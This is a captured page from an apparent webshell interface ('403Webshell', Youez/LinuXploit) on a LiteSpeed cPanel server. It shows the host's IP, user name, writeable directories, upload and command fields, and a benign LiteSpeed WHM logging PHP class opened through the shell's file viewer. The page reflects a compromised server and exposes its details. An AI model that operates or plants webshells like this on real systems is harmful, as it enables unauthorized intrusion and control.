403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.133.87.185
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/WhmPluginLogEntry.php
<?php

/* * ******************************************
 * LiteSpeed Web Server Plugin for WHM
 *
 * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com)
 * @copyright (c) 2019
 * @since 3.3.4
 * ******************************************* */

namespace LsPanel;

use \LsPanel\WhmPluginLogger;

/**
 * @since 3.3.4
 */
class WhmPluginLogEntry
{

    /**
     * @since 3.3.4
     * @var int
     */
    protected $lvl;

    /**
     * @since 3.3.4
     * @var string
     */
    protected $msg;

    /**
     * @since 3.3.4
     * @var null|string
     */
    protected $prefix;

    /**
     * @since 3.3.4
     * @var int[]
     */
    protected $timestamp;

    /**
     *
     * @since 3.3.4
     *
     * @param string  $msg
     * @param int     $lvl
     */
    public function __construct( $msg, $lvl )
    {
        $this->msg = $msg;
        $this->lvl = $lvl;
        $this->timestamp = time();
    }

    /**
     *
     * @since 3.3.4
     *
     * @param string  $msg
     */
    public function append( $msg )
    {
        $this->msg .= $msg;
    }

    /**
     *
     * @since 3.3.4
     *
     * @return int
     */
    public function getLvl()
    {
        return $this->lvl;
    }

    /**
     *
     * @since 3.3.4
     *
     * @return string
     */
    public function getMsg()
    {
        $msg = ($this->prefix == null) ? '' : "{$this->prefix} ";

        if ( $this->msg ) {
            $msg .= $this->msg;
        }

        return $msg;
    }

    /**
     *
     * @since 3.3.4
     *
     * @param int  $logLvl
     * @return string
     */
    public function getOutput( $logLvl )
    {
        if ( $this->lvl > $logLvl ) {
            return '';
        }

        $timestamp = date('Y-m-d H:i:s', $this->timestamp);
        $addTagInfo = WhmPluginLogger::getAdditionalTagInfo();
        $lvl = '[' . WhmPluginLogger::getLvlDescr($this->lvl) . ']';
        $msg = $this->getMsg();

        $output = "{$timestamp} {$addTagInfo} {$lvl}  {$msg}\n";

        return $output;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit